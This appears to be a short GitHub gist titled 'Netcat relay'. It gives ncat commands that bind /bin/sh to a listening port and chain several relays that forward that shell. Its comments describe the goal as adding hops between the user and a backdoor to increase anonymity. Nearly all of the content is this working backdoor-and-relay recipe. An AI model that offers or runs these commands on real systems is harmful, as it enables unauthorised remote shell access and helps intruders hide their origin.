Skip to content

Instantly share code, notes, and snippets.

@conorpp
Created April 13, 2014 05:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save conorpp/10570236 to your computer and use it in GitHub Desktop.
Save conorpp/10570236 to your computer and use it in GitHub Desktop.
Netcat relay
# Shove a shell at whoever requests it
ncat -l 0.0.0.0 8000 -e /bin/sh
# In a different terminal (or machine) set up a relay
ncat -l 0.0.0.0 8001 -c "ncat 0.0.0.0 8000"
# You can chain together as many relays as you'd like
ncat -l 0.0.0.0 8002 -c "ncat 0.0.0.0 8001"
ncat -l 0.0.0.0 8003 -c "ncat 0.0.0.0 8002"
ncat -l 0.0.0.0 8004 -c "ncat 0.0.0.0 8003"
# If you make a request to a relay, it will forward the shell to you
ncat 0.0.0.0 8004
# If this is set up between multiple machines, it can increase the
# number of hops between you and a backdoor, increasing your
# anonymity.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment